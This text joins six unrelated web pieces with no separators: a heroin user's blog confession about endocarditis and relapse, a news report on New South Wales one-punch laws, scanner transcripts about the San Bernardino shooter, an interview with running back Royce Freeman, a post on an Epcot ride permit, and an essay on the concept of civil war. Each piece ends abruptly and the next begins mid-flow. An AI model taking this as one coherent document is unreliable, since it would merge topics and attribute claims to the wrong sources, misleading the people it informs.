I’m 29 years old. I’ve been shooting dope for 5+ years. Snorting for longer. How I can find a vein is beyond me. I don’t know why I’ve never OD’d. I used to think that was luck and I was bulletproof. That recently changed as I’ve been diagnosed with endocarditis (that’s fucking heart disease.) All of those times I used a needle more than once; all of the times I looked in at my mixture and said “Fuck it, this doesn’t look like it needs a filter” caught up with me. Enough bacteria finally got into my bloodstream that my immune system couldn’t do anything more and I am facing the inevitable fate of any long-term IV user: an early death. One would think this would motivate me to quit, but I’ve still been picking up with that “this is the ‘one last time’” mentality.
I used to think I could cover this habit up, but now I can see the mixture of sorrow, fear, and overall aversion in other people’s eyes when I don’t even verbally interact with them and try to do something nice like move my cart out of the way and shoot them an acknowledgment smile in the aisle of the grocery store. (And they just look at me like I used to look at bums begging for change on the street.)
When I started writing this blog, I was making six figures a year. Laughing at how I could get fucked up all day and enjoy the comfortable WASPy, self-sustaining life that my parents and everyone else expected of me after I finished college. That worked for all of a year before it went to shit.
I’ve blown so many second chances since then. It’s worse than it’s ever been now.
Now I’m back to lying about this and that to anyone with money and enough foolishness to listen and send me some. Yeah, sure, they’ll believe me. I’ve been to rehab 3 times so that means I’m a credible individual. There’s nothing fishy about asking Mom for $400 for a “car repair” 3 times in the same month.
I’m a fucking junkie and I don’t understand why so many naive kids here think doing dope is some sort of badge of honor. Like it validates their “pain” or some bullshit. Get therapy. Find someone to talk to. This is not a lifestyle you want.
I’ve tried to quit more times than I can count, but I always end up back where I started. I used to have track marks that were hidden, now they are so bad, to get rid of the scars I’d have to shell out several thousand in cosmetic procedures just to fade them lightly.
But, I guess I’m no different. I met a 60 year old heroin addict. He’d been using for the past 40 years (that’s not a typo.) His reasoning was that all dumb fucks die before 40 and that if he’s made it this far, he shouldn’t really stop. He has children and grandchildren that want nothing to do with him. He can’t even get a job as a crossing guard.
It’s sad, but I was also thinking as I walked away from our little exchange: I bet I could do dope for the rest of my life and do way better than crossing guard. Who am I kidding?
I would show pictures of my scars and tracks, but they are so unique and large, I’m afraid someone eventually would identify them (along with the accompanying tattoos nearby.) I’d explain my professional background and how I used to have such a promising future and good life, but it’d be too easy for someone to identify me and potentially ruin my life, if I ever get it back together, at a new job or in a new academic program.
There’s nothing fun, glamorous, romantic, cathartic, or interesting about your stupid posts of pictures of dope and you doing a little fucking balloon of BTH or you saying how “sad” it is that you just want to get high and it’s the best thing ever (no shit, moron, you don’t have to do it to know heroin feels amazing.) Just stop. You’re not interesting. No one feels bad for you but yourself and (maybe) me.
It used to be nice to come here and vent and hope that my brutal honesty about how shitty my life continually gets would at least be a cautionary tale to one person. Now, I just sit in amazement that a picture of some stamps of mediocre dope circulates amongst a small community of sad, lonely kids and there’s nothing I can do to help them. I’m not bragging when I post a picture like that. I’m showing you how pathetic it was that 30 little glassine bags was the only thing that made me happy.
I can’t rightly participate in this shitshow. Unless I feel super compelled to write anything again, I’m done here.
You people need serious help and I hope you get it before it’s too late and you end up like me - almost 30 with a heart disease old people get and wondering one second why you can’t be starting a family, buying a house, getting a promotion, getting married while all your friends do - and then a second later realizing that the reasons are obvious and you’ve just been running from something for decades, too afraid to face the emotional truth.
Updated
Legislation to tackle alcohol-fuelled violence, including a controversial law for deadly one-punch assaults, has been passed by the New South Wales Parliament.
The Lower House approved the bill at lunchtime yesterday and the Upper House voted in favour shortly before 7pm (AEDT).
Among the initiatives are mandatory eight-year prison terms for anyone who fatally punches someone while under the influence of drugs or alcohol.
The legislation also includes a new precinct in central Sydney where bars and clubs will be subject to strict new conditions, including lock-outs.
The Government announced the measures last week, in response to pressure over the death of Daniel Christie from a single punch at Kings Cross.
The measures include: Eight-year minimum sentencing for alcohol or drug-fuelled assaults ending in death.
Serious assault maximum penalty increased by two years, with mandatory minimum sentences.
On the spot fines for disorderly behaviour increased from $200 to $1,100.
Police have powers to immediately ban 'troublemakers' from CBD/Kings Cross.
Penalty for possession of steroids increased from two to 25 years.
CBD/Kings Cross venues to have 1:30am lockouts with drinks stopping at 3:00am.
Bottle shops across NSW to close at 10:00pm.
Politicians were forced to cancel their holidays for the special sitting of State Parliament.
Premier Barry O'Farrell told Parliament during the debate that action is needed because the courts have not been prepared to hand out the sentences that people expect.
"Much of this is indeed pioneering legislation," he said.
"It has to be to address an issue that, if the status quo was to remain, would continue to see too many innocent victims either killed or seriously injured.
"If we have to come back and revisit this, if we have to fine tune, we will because we are determined to put in place an effective regime."
Labor supports legislation, sight unseen
The Opposition voted with the Government, despite several Labor MPs raising concerns about mandatory sentencing.
However before the debate began Opposition Leader John Robertson complained that he had not seen any details of the legislation.
"We will support the Government's one-punch laws," Mr Robertson said.
"The Government had to be dragged kicking and screaming to do something about alcohol-fuelled violence.
"We haven't seen the legislation on all those other issues. We're awaiting the detail of all that.
"I have to say it's very disappointing that we're still waiting, on such an important issue, to see the legislation the Government will introduce."
Greens fear 'knee-jerk' reaction
Greens MP John Kaye says the measures are a "knee-jerk" reaction.
"We don't believe there's evidence to justify what they're doing," he said.
"We don't believe we can justify imposing on responsible late night venue goers measures that are probably going to fail."
The Greens believe the real issues are being ignored.
"The dangerous promotions of deep discounting of alcohol, the failure to enforce responsible service of alcohol in venues and excessive liquor outlet density," Dr Kaye said.
But Premier O'Farrell says the legislation puts punishment for one-punch attacks in line with community expectations.
"The concern I have is that the judiciary has not been doing their job," he said.
"So successive parliaments have been giving our courts substantial penalties to hand out, and yet over the past four years, the penalty for manslaughter has been on average less than four years.
"That is clearly out of step with the community."
The Premier said on Wednesday that he wanted the legislation passed by Friday.
"We're in the hands of the Legislative Council, but my message to all members of the Legislative Council is that the community's demanded tough action," Mr O'Farrell said.
"These are tough measures and I would encourage them to give them the priority that they deserve.
"We want to have, in particular, the one-punch, the death by assault legislation, in place and operational by this weekend."
Other laws for serious violent assaults are set to be looked at next month.
Meanwhile, commercial television networks have begun broadcasting a campaign against one-punch assaults funded by professional boxer Danny Green.
The State Government struck a deal with the seven networks to show the ad depicting Green intervening before one man punches another.
It will air until the Government's own community awareness and media campaigns begin.
Green paid for the advertisement out of his own pocket two years ago, after a fatal assault in his hometown of Perth.
Topics: states-and-territories, state-parliament, alcohol, sydney-2000
Federal and local authorities have insisted that neither of the attackers had aroused suspicion before the assault earlier this month and that both Syed Farook and his wife, Tashfeen Malik, were unknown to law enforcement and US intelligence. But conversations between law enforcement officials in the hours after the shootings leave a different impression.
Farook is first identified by name at approximately 11:40am local time, just a half hour after the shooting began. The information came from a county worker, who noted that Farook had been acting nervous and left the holiday party twenty minutes before the shooting began.
In a subsequent exchange at approximately 12:08pm the dispatcher addresses an officer nicknamed "Trav" upon hearing "Syed Farook." She says: "Reference that name, I believe one of the [garbled] was working that name up for something last week. I'll have to check."
In a second exchange shortly after 12:20, another officer says of Farook: "I just got some info from that LAPD that they have information on one of your suspects. I heard that somebody was trying to INV that guy. Can you find out who I can give this information to?"
A third exchange, two minutes later, follows:
Officer 2: [garbled] I had received a call [garbled] that had some information that they had ran the guy or something last week and I was going to give it to your intel guys.
Officer 1: Okay, that's what I was trying to get you to. If you're at the mobile command – uh, what's your 20?
The San Bernardino Police Department did not respond to inquiries by press time. Officer Rosario Herrera, a spokeswoman for the Los Angeles Police Department, told TWS that she wouldn't be at liberty to discuss any prior investigation. "As I'm aware, we don't have any information." (Audio of the scanner traffic was provided via Broadcastify by "Jason Beale," a pseudonym for a former senior US intelligence official. Broadcastify bills itself as "the world's largest source of public safety, aircraft, rail and marine radio live audio streams." Premium subscribers have access to archived audio of recordings for 180 days).
Scanner traffic is often unreliable, particularly in the immediate aftermath of an active shooter incident. It's possible that the officers who discussed the prior investigation were mistaken. But it's at least clear that several officers believed that Farook had been the subject of an earlier investigation.
A transcript of five calls concerning Farook and a potential previous investigation follows. The calls took place between approximately 11:40am and 12:40pm pacific time.
1) The first exchange, between an unidentified San Bernardino police officer and the dispatcher, comes at 11:40am, approximately 30 minutes after the shooting began. The call follows a police interview with a witness to the shooting and includes the first mention of Farook's name.
Full name
Officer: Looking for possible suspect info.
Dispatcher: 909, go ahead.
Officer: Male [garbled] left out of the blue, ummm, and then 20 minutes later the shooting occurred. The subject's last of Farfook (sic) or Farook: Frank, Adam, Roger, Ocean, Ocean, King. First of Syed: Sam, Yellow, Edward, David.
Dispatcher: The front of –
Officer: Matches the description of one of the shooters.
Dispatcher: The front of your transmission was covered. He left where?
Officer: He was acting nervous, left the building – 20 minutes later or so the shooting began. He matches the physical of one of the shooters.
Dispatcher: Your call sign please?
Officer: [garbled.]
2) The second call, at 12:08pm, includes additional information on the shooter. In an exchange between the dispatcher and three officers, at the mention of Syed Farook the dispatcher volunteers that authorities had looked at him the previous week.
send the info
Officer 1: Lincoln 6 to Tony King.
Officer 2: [garbled] Tony.
Officer 1: Tony, have you passed that information on to somebody who can follow-up on it?
Officer 2: Which info was that, Trav?
Officer 1: The suspect info that you had?
Officer 2: I put it out [garbled].
Officer 1: Okay, I need that info given to somebody that can start working it up so we can get a location on this guy.
Officer 2: Hey Travis?
Officer 1: Go ahead.
Officer 3: It's Gary. I've got that info. Donny's working on it right now. I'll let you know what we find.
Officer 1: Gary, when you find out give me a twenty-one with it. (Ed: 10-21 is code for a phone call ).
Officer 3: The only info I have right now is on that Syed guy – name and date of birth.
Officer 1: When she lets you know, call me with the info.
Officer 3: Will do.
Dispatcher: Lincoln six.
Officer 1: Go ahead, ma'am.
Dispatcher: Reference that name, I believe one of the [garbled] was working that name up for something last week. I'll have to check.
Officer 2: Hey Travis?
Officer 1: Go ahead.
Officer 2: Captain Gomez is wondering if you're available to 87 at the CP [Ed: command post] on the north side.
Officer 1: Yes.
3) The third exchange comes at 12:20pm and features a brief conversation between two San Bernardino police officers. One of the officers reports that the Los Angeles Police Department has information on one of the suspects.
LAPD first
Officer 1: Station one, sheriff [garbled].
Officer 2: Alright, go ahead.
Officer 1: I just got some info from that LAPD that they have information on one of your suspects. I heard that somebody was trying to INV that guy. Can you find out who I can give this information to?
Officer 2: Copy.
4) The fourth exchange, just two minutes later, at 12:22pm,
LAPD 2
Officer 1: Last unit.
Officer 2: Sheriff [garbled].
Officer 1: Are you out? On our incident?
Officer 2: [garbled] I had received a call [garbled] that had some information that they had ran the guy or something last week and I was going to give it to your intel guys.
Officer 1: Okay, that's what I was trying to get you to. If you're at the mobile command – uh, what's your 20? [Ed: Current location].
Officer 2: Central station.
Officer 1: Copy. We will send – I'm going to send a unit out to you, okay?
5) A fifth exchange repeats the information identifying the shooter and attributes it to a witness.
Witness
Officer 1: I talked to a witness who sat next to him said the guy [unintelligible] was a county worker, was acting a little weird, left early – which he also thought was weird. And then about 30 minutes later the shooting happened. Says the shooter he saw matched the same height and build as the guy that left. I have a name and general age – no date of birth.
Officer 2: And where is that witness now?
Officer 1: He's on the south side of the golf course with the rest of the, uh, people...
Officer 2: Okay, what's his name?
A powerful back with great vision, the 5-11, 230-pound California native will be chasing history in Eugene in 2017, as he sits just 936 yards away from the school’s career rushing record, currently held by LaMichael James.
Entering his final collegiate campaign, Freeman spoke exclusively with Draft Wire about why he came back to school, his early impressions of new Oregon head coach Willie Taggart, and why Marcus Mariota can win the NFL MVP award in 2017.
JM: How would you describe your skill-set?
RF: I feel like I can do it all. I have a lot of positive attributes coming out of the running back position. I catch the ball well, I’m a good receiver coming out of the backfield. I do a good job picking up pass protections. I think I can do all the little things that you expect from a running back.
JM: Why did you return for your senior season?
RF: I didn’t have a very good season last year so I felt it was best to come back here to Oregon to improve my game. I was also close to graduating and I ended up getting my degree. I got to finish that off while returning for my senior season. I also get to learn from a new perspective with a different coaching staff this year. I’m just enabling myself to learn more, football-wise.
JM: You dealt with some injuries last season. Where are you now health-wise?
RF: I feel great. Since the end of the season, I’ve just been taking the time to get my body right. I’m taking good care of myself so that I can put my best foot forward this season.
JM: What’s your initial impression of coach Willie Taggart?
RF: He’s a good dude and he really cares about us as individuals, even though he barely knows us. I can see that already. He’s a man of his word. He’s a very genuine guy. He has a lot of passion for what he does. That’s what I think of him so far.
JM: People have so many things to say about making the transition from an offense like Oregon’s to the NFL. How does playing in this system help get you ready for what’s next?
RF: I think it’s just like playing for any other team in the nation. It’s football. Our coaches do a great job of teaching us the game as a whole. We might play in a specific system, but we still have to know football. I feel our staff does the best they can to get us ready.
JM: What are some of the things you hope to improve on during your final season?
RF: I’m working on consistency. You’ll see me running with purpose this season. I want to show that I’m a complete player. I’m hoping to stay injury free, if possible. In the game of football, staying healthy can be a tough task sometimes, but it’s something that I’m aiming to do this season. I want to get better day in, day out during my final year here at Oregon.
JM: What are some of the most important traits a good running back must possess?
RF: Intelligence comes first, in my opinion. You need to be able to pick up all the protections and things of that nature. You need to help protect your quarterback. You need to run hard and be able to pick up those extra yards at the end of a run. I also feel that a good running back has to be able to catch the ball so he can stay on the field for third down.
JM: There’s a new coaching staff for a reason. 4-8 last year, bottom of the Pac-12. Why will this team bounce back this year?
RF: The energy around the building is really positive right now. This football team is hungry, especially after last year’s performance. We have to turn a new tide and put last season behind us. We’re gonna leave everything out there on the field. We all know what happened last year. We can’t dwell on it, though. We just have to learn from it and get better.
JM: Do you have your eye set on LaMichael James’ school rushing record? You’re 936 yards away.
RF: That sounds cool, but not really. I’m just focused on getting ready for our first game right now. I’m gonna give my best effort. After that, we’ll focus on the next game. I don’t really pay attention to how many yards I need or all that. I’m the type of guy who just goes out there and runs hard every play. At the end of the game, I’ll find out what my stats were, but I don’t check that during a game. I’m not a big stats guy.
JM: I want to ask about one of your former teammates. Do you think Marcus Mariota can compete for the MVP this season?
RF: Definitely. Marcus is capable of that. For the brief period that I got to play with him, he’s a one-of-a-kind specimen. He has all the attributes a quarterback could ask for. He’s such an intelligent player. Marcus is gonna do great things. I definitely see him competing for the MVP this season, if not winning it. People put a lot of pressure on him, but he does a great job just focusing on the goal in front of him.
JM: From what I understand, you were a pretty good baseball player. What made you choose football over baseball?
RF: Football is the sport I wanted to play. I enjoy playing it a lot. I don’t know, to be honest. That’s just the way it went. I never gave baseball much thought. I enjoy playing football more.
JM: How would you describe the game-day atmosphere at Autzen Stadium?
RF: It’s crazy. We have fans all over the world. Inside the stadium, it’s green and yellow everywhere. There’s no place I’d rather be. The support we have here is second to none.
JM: What do you think when you see that much green and yellow? What do those colors mean to you?
RF: It speaks volumes of the support we have. Everything we do is green and yellow. All the people that come out here to represent our program are special. That’s something that we as players play for.
JM: Which NFL running backs do you enjoy watching? Do you try and model your game after any in particular?
RF: No, I don’t model my game after any running back. I just thoroughly enjoy watching football. I like learning from all types of different backs. I couldn’t even name anyone in particular. I just enjoy watching the NFL and seeing the different running backs. Of course, you have your top-tier backs that are good enough to start in that league. Those are the ones I enjoy learning from the most. They’ve made it to the highest level and I hope to be there one day myself.
JM: What can fans expect from Royce Freeman and the Ducks in 2017?
RF: They can expect to see a completely different Oregon Ducks football team in 2017. We’re gonna go out there and bring a lot of energy and competitiveness. Oregon has their competitive nature back.
Related Oregon RB Royce Freeman returning for senior season
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Disney has just filed the first permit for the rumored new Ratatouille ride at the France pavilion at Epcot (that we told you about yesterday).
You can see from the aerial image that the area encompassed by the permit entails all of the empty expansion pad between France and Morocco (expansion pads were originally designated for the addition of countries to World Showcase), as well as some additional space directly behind the France pavilion. The show building will be built on the expansion pad, and the queue area will travel behind the existing France pavilion and connect to the existing guest area in front of the pavilion.
According to the permit (which can be downloaded in full here), the area inside the red outline totals 5.70 acres. Currently, 1.10 acres are paved, 0.31 acres are occupied by buildings (mostly trailers), and 4.29 acres are “pervious” aream which is either dirt or landscaping.
The plans are to pave an additional 2.94 acres of the current “pervious” area and build retention ponds on the other side of Avenue of the Stars (the service road that circles World Showcase) to hold the additional runoff from the added impervious area. Several buildings will also be removed, but some additional buildings will be built to replace them.
As you can see from the imagery, some of the expansion pad is used for storage of food kiosks from the Epcot festivals, which will easily be relocated.
I’ve analyzed the multiple drawings in the permit and additional documents filed and have drawn up the rough plan below which shows the extent of the work, where existing structures are located, and where many of them will be relocated. In addition the dark shaded area shows a new access road to be built to serve the back of the restaurants in the France pavilion, since the current access road will be blocked by either the show building or the queue area. (Note: If I’ve mislabeled any of the backstage buildings, please let me know so I can correct it. I’m only going by what I can see on the permits and don’t have firsthand knowledge! Email me directly at [email protected] in case I don’t see it in the comments.)
The ride is rumored to be the trackless Ratatouille: The Adventure attraction from Disneyland Paris.
Civil war has never been pinned down legally, despite frequent attempts by jurists, sovereign powers, and political theorists since Rome’s Republican era over 2000 years ago. These actors have primarily tried and failed at codifying the following problems seen to be internal to civil war: whether it is a problem of the city or of the home, or a mixture of the two; whether it needs to involve some amount of physical coercion or force, or if it can also occur through language or in the minds of citizens; whether it concerns two or more parties, and, related to this, whether these parties must be attempting to take over the government; whether it only concerns those contained within specific sovereign limits or the whole of “humanity;” and whether it pertains solely to those already considered citizens, or those who, through violence or other means, could become citizens, or at least political subjects. Indeed, in our view, it is precisely because the concept is a paradox and has always been one that we find it useful. The combination of historical centrality and structural lack of definability opens up the supposedly autonomous domain of law to broader problems of citizenship, domesticity, war, (and later) risk management and policing, and it does so from within the paradigmatic forms of our political history itself — the citizen, the city, the home, and even humanity itself are, through the lens of civil war, seen as structurally inconsistent and contested forms.
I.
Given that we still stand by that thesis, what’s questionable about the term? We decided to write this addendum after a number of experiences challenged our ideas of the language of civil war, or at least the effects of the language, and the ways in which one might try to explicitly utilize it. In the Summer of 2017, we [1], along with the other two current members of the Belli Research Institute, were invited to speak at two events, one in Chicago and one near Seattle about the concept of civil war. We attempted to formally structure these talks, which we called “Civil War as a Political Paradigm,” to allow for as much disagreement and debate about even our most basic statements by encouraging the audience to interrupt us in various ways. We wanted the format of the talk to highlight the part of the civil war concept we found most interesting and immediately comprehensible, namely the fact that irresolvable conflicts exist in various groups, and the different ways we deal with them (ignoring, accepting, discussing, burying, denying). In this, we failed. At least part of that failure arose out of the various understandings — and, in our view, misunderstandings — of what we were trying to problematize with this word. Yet we see such misunderstandings as interesting problems in themselves.
We choose to make use the word first and foremost due to its structural connection with some of the most basic terms of the Western political imagination: civility, citizen, civilization, and civil society, as well as war. In opposition to these terms —as we indicated above and will deal with at greater length in later sections— civil war is essentially problematic, by which we mean that it has always been contested. One could certainly make the case that “citizen” or any of the others above is also a contested term (and we certainly agree with this), but “civil war” is a preferable gateway into those problems, since it is both unambiguously a problem for Western political theory, and also central to its operations. These concerns all belong to what one might call the political and juridical aspects of civil war. Going into the talks, we assumed that the audience would not be uniformly interested in questioning the legal categories of citizenship nor the history of Western political theory. Instead of offering a dry and sterile account of the evolution of the Greek stasis into bellum civile and what it means for a political paradigm, we wanted to offer as little information about what concretely we would talk about as possible, and try to guide people into experiencing some amount of discord among themselves and see how it got handled in the moment. We wrote up a corny and vague description [2], created a complicated handout with instructions on how to disrupt the talk (it included, among other options: playing a song over us, shouting at us, shooting at us with a slingshot), and hoped a lot of people came and acted in surprising ways.
Instead of beginning by talking about the Greeks or the legal history of “civil war,” we started with a few direct experiences we had previously had wherein one group instrumentalized the language of “democracy” and “unity” to dominate the actions of another group during an intense public event. One example was a group of protesters in St. Paul who chanted “Unity!” over the chants of a smaller faction that had broken off in a move to silence them, thereby utilizing a word implying a collective will to prevent the expression of different perspectives. We referred to these as incidents in a “civil war,” hoping that the language would be heard as dissonant and that this dissonance would provoke thought. We wanted more than anything to ground the concept by encouraging people to think of examples where this management of difference and disagreement occurred and to create a discussion around how we handle these events.
This didn’t happen in the way we intended. In Chicago, quite a few people did show up, certainly more than we expected. Perhaps due to our inexperience with and general anxiety around speaking, we had difficulty not relapsing into the examples we’d thought up previously, and were unable to achieve the results we desired. A lot of the talk ended up looking like primarily a small number of men (including the two in our group) debating the finer points of our “argument,” with two other women occasionally chiming in, and waiting for us Main Speakers to supply answers to questions. It seems to us in retrospect that there was some basic confusion around exactly what we were talking about. Some thought we were only talking about the historical concept of civil war, some thought we were talking about the way “radicals” should imagine conflict, others thought we were solely talking about interpersonal strife and how it gets resolved. This confusion is certainly a part of the concept itself, as it refers to all of these, and more, at once. So we may have had too much on our plate, since, while we did want to focus on the interpersonal or local playing out of conflict, we also didn’t want to reduce it to that, nor convince anyone that that lens is the “correct” interpretation. By the very end, a larger portion of the room had understood what we were going for and had begun to chime in with a number of interesting and ambiguous examples of conflicts and their resolutions. This earlier reticence to speak on the part of those outside the small group of men was, beyond being just the playing out of masculine overconfidence in public spaces, perhaps also a result of the arrangement of the room. We three were seated on a couch facing the rest of the room. This was a limitation of the room itself we had not foreseen, as we intended to sit in a circle to encourage participation.
Yet, at our talk in Seattle, where we were able to sit in a circle, we had similarly disappointing results. If the problem in Chicago was both a lack of participation and the presence of multiple asymmetrical registers, in Seattle, we saw the presence of a conflict so specific that it was opaque to the majority of the audience, and also the expression of a number of ideological positions, which were impossible to discuss on account of their rigidity and circularity. Many voices, no conversation. While more members of this audience seemed to grasp the idea and were ready to discuss specific events, a number of men chastised us for not towing a Marxist line of interpretation, some even charitably “translating” our language into a more palatable Marxist dialect. One man, with the tone of someone who believed they were reconciling two groups of scuffling children, spoke up and stated that it seemed like we were “really talking about the ‘state’” when we spoke about those who use the language of democracy to silence their enemies. Another man, quite irate, grumbled that it seemed like this civil war thing didn’t “have anything to do with the working class revolution.” “No, it doesn’t” we told him, provoking furrowed eyebrows on a number of 30-something-year-old very serious Marxists. Some called us “identitarians,” another said something or other about Hegel and Stalin, which we didn’t understand at all, and yet another accused us of nihilism. Besides all these, there were two in the group who right then and there had a fight about a public space in a nearby city and whether its atmosphere was welcoming or not to certain groups. It was very clear none of this could be resolved in any simple fashion, by simply making one change or another, nor by apologizing to anyone, so we used the opportunity to take a smoke and bathroom break. In an unexpected sort of way, this turn of events did demonstrate the validity of our concept, since, despite everyone being present because they are interested in “radical” ideas of some sort, the presence of hidden conflicts haunted us all, and it was revealed that we were really speaking different languages, and coming to the circle with incompatible presuppositions.
It’s amazing anyone wanted to talk to us at all after this. Needless to say, there were certainly some who really did not want to, but we welcomed the paradox nonetheless, and invited those who wanted to come to a smaller talk the next day. This talk was a pleasant break from the previous two. The smaller size meant we were able to clarify some of the misgivings and misunderstandings people had the day before. We found out that a group had come the year before to give a talk on a similar theme and were rude and aggressive. One criticism we heard was that it seemed like speaking about “civil war” left no room for talking about patriarchal and white supremacist violence, and, at its worst, could even be used to cover up these powers, performing the exact gesture of forgetting/denying we were trying to highlight in our talk. The book most people there were familiar with on the theme of civil war, Intro to Civil War by Tiqqun, is virtually silent on these topics [3]. Further, our talk was scheduled at the same time as another that focused on “care,” which, because it temporally competed with ours, created a war/care binary and made our theme appear by contrast as if it were about “violence” or “aggression,” given the presence of the word “war.” Not being aware of these previous understandings, we were quite baffled by some of the responses we received the day before. This smaller talk allowed us to clarify that it is precisely conflicts around gender, race, and concrete, lived, local issues that we wished to discuss under the umbrella of “civil war.” Some assumed because of the term, and the problems listed above, that we would be interested in discussing the tired idea of “class war,” that we would be defending an “attack by any means necessary” approach, or that we were either attempting to avoid or sacralize identity and its relation to struggle. These associations and presumptions are real, and ought to be taken seriously.
Our talks, while failures, did reveal something important to us: despite the commonalities of groups that come together to create something or talk with one another, we speak in radically different registers, and gather with radically different understandings of the world, and we can’t understate these differences. We can’t assume they are merely the inessential and sweep them aside in broad strokes. We have to face them head on, even if that entails the feeling of loss or failure.
II.
Some of the tendencies and problems we encountered at the talks came into focus in distilled form in David Armitage’s new book Civil Wars: A History in Ideas and Patricia Owens’ response and addition to it “Decolonizing Civil War.” Armitage’s book is the longest and most sustained attempt at a genealogy of civil war in the academic anglophone world we are aware of, and worth engaging with to point out its shortcomings and for its wealth of citations.
Armitage begins his book by countering and qualifying the optimism of those who pronounce that global warfare is on the decline by interjecting that, while this is true for war between states, intra-state warfare, or civil war, is on the increase. Although there are quantitatively less incidences of violence on the global scale, the increase in cases of civil war also means that we are seeing a more heart-wrenching, long-lasting, disorienting, and emotionally damaging kind of violence. In Armitage’s words, civil war represents “the most destructive” [4] form of war. To this end, he fondly quotes Civil War general William Tecumseh Sherman who famously said that “war is hell,” but adds that “surely the only thing worse is civil war.” [5]
Much of his research reaffirms our central thesis: civil war has been both extraordinarily generative for the Western political tradition, but simultaneously a source of constant problems it has never been able to work through. It functions like a cipher. It cannot consistently hold onto any political meaning, yet we require it to make sense of politics, to differentiate between other political categories. Civil war has always been in the paradoxical position of naming the war between citizens while also being the lens through which one can establish political legitimacy at all. Armitage successfully demonstrates that the problem of civil war has in no way receded from its political importance in his two last, and most profound, sections “Worlds of Civil War,” and “Civil Wars of Words.” He argues there that the concept of civil war, despite still being contested and indefinable, continues to haunt global politics in two major ways. First, it is used by states to avoid conflicts they do not want to be involved in, and also, paradoxically, to intervene in crises when they have no legitimate legal grounds to do so. Civil war in the first sense is named to exempt oneself or one’s political constituency from guilt or involvement. Inversely, civil war can be used affectively to proclaim that because such-and-such a political situation is so dire and chaotic, our state is justified in intervening. Western states continue to mobilize this discourse at strategic moments to either avoid taking or as an excuse to take a decided, public, stance (or deliver aid) in myriad conflicts in the Middle East and Africa (most recently in Syria, but also continually in Somalia, for instance), despite the long and well-documented role of Western intervention in the formation of those conflicts. “Civil war,” in these examples is a strategic cipher capable of imparting the opposite meanings: “that’s a civil war, and thus their problem,” and “we must, on humanitarian grounds, intervene because it is a civil war.”
Second, civil war is a decisive concept of international governance agencies and humanitarian organizations, because its application or non-application to a specific crisis can determine the legitimacy of an uprising and thus whether or not these international agents will get involved in aid, or allocate resources and funds. On this international level, it can — Armitage cites Libya in 2011-12 as an example — grant political status and legitimacy to forms of conflict that otherwise might be seen as a mere rebellion or insurrection, and not qualified for the international protections of combatants, and the penalties for those who violate the laws of war.
There is little to disagree with in this account of civil war’s continued importance for international relations and laws of war. It’s in how Armitage begins his book (and how this beginning affects his overall outlook) that troubles us. Armitage, after considering the differences between the Greek concept of internal war, stasis, and the Roman one, bellum civile (civil war), ultimately chooses the latter as his foundation, claiming that stasis belongs to an altogether different tradition. What he attempts by doing so is, in our view, an act of “civilizing civil war,” a process he himself ironically critiques in his chapter on the American Civil War. His stated reason for doing so is that we borrow the term directly from the Romans, along with the primary way in which we imagine the words that make it up (Civil and War). The Greek term seems too foreign, and too bound to its time and place. Stasis, in Armitage’s account, refers solely to a world in which wealthy male Greek householders would gather in a public place to do politics; stasis was what happened when that particular relation was destabilized and subjected to war or at least disruption. We, on the other hand, like the Latins, see ourselves as citizens bound to a polity, who, in civil war, take up arms against each other. Later translations of stasis into bellum civile are anachronisms, in Armitage’s account. [6]
Political theorists deal heavily in images. More exactly, they deal in images that represent or perform the very acts of politics itself. The spatial boundaries of sovereignty were seen for millennia in the paradigmatic image of Romulus erecting walls around the city of Rome; while Remus’ leap over that wall was the basic act of transgressing sovereignty. Armitage ignores a whole tradition (largely going by the name of stasis) that saw “civil war” in images of women rising up against colonial rulership, of slaves picking up stones and speaking in public, and of the moral decay of the slaveowners and their civilization that came out of these riotous events. [7] Instead, Armitage sees “civil war” in the Strong Man and Dutiful Citizen Julius Caesar crossing the Rubicon, military regalia all around, armed and ready to kill opposing armies for his claims of rightful rulership. By beginning with this closed notion of politics and citizenship, and a militaristic notion of war, Armitage prioritizes a Eurocentric formulation of politics that cannot take into account how profoundly civil war destabilizes our sense of belonging. While the Greek term effectively destabilized the relation between who qualifies as a citizen — or even a human — and who was mere property, the Latin term ideally implies that we already unproblematically can see who is a citizen and who isn’t, who belongs and who doesn’t. All conflicts that occur are thus strictly between the men.
III.
Patricia Owens’ solution, in her friendly critique of Armitage’s book, “Decolonizing Civil War,” is only partly satisfactory. She first succinctly identifies the problem with Armitage’s “civil war:” civil war has been called the worst, most gut-wrenching, form of war because it is represented as a war between brothers. “Brothers,” for the West connotes not just that the conflict occurs in close proximity to the household, but specifically, that it occurs between people who are already considered worthy: male, and already qualified as citizens. She writes: “Class, civilizational and gendered hierarchies were foundational to the very concept. Hence to fully understand civil war’s generative powers we must account for the constitutive exclusions and inclusions of those whose struggles elite Europeans refused to recognize as co-belligerents or eligible for ‘civilian’ protection.” [8] David Armitage offers, in short, a pre-civilized version of “civil war,” one where the civilizing process is already internally complete and unrelated to this horrifying thing called “civil war,” and which says little about its supposed “outside.”
Arendt begins her book On Revolution by immediately differentiating it from civil war and stasis. On this distinction, Owens and Armitage are in agreement. But Arendt’s account goes on to discuss and center the American and French revolutions, thus silently circumscribing the bounds within which revolution can occur strictly as relations between those already qualified as citizens/civilized. Armitage was greatly indebted to Arendt for making his distinction between revolution and civil war. He claims that revolutionaries are those who merely present themselves as the founders of something new within a civil war, hence the latter term is the foundational one, and destabilizes the first.
This is the line of argument we took up in Part One of The Savage Peace. We did so in order to show that there were agents with little to no legitimacy fighting at the same time and for drastically different aims than the revolutionaries proper: slaves, housewives, natives. Armitage, like Arendt, doesn’t go that far, still favoring his “already-included” subjects. Owens holds both Armitage and Arendt accountable for this Eurocentric prejudice, and offers a novel solution: what if, instead of the French and American revolutions, we use the Haitian Revolution as a paradigm? She offers the new image of the slave-revolt-turned-revolution. Would this not also characterize the political capacity of the non-included (non-civilized, non-citizen, or non-human) to transform themselves? In her eyes, this “successful slave revolt would undermine Armitage’s central claim” [9] that revolution is just a repackaged civil war. She peremptorily excludes the possibility that the Haitian Revolution could be seen as a civil war appropriated and narrativized as a revolution by reminding us that “if we are to adopt Roman categories at all, then Haitian’s were engaged in a servile war,” which is qualitatively different from a civil war and presents fewer difficulties in their eyes.
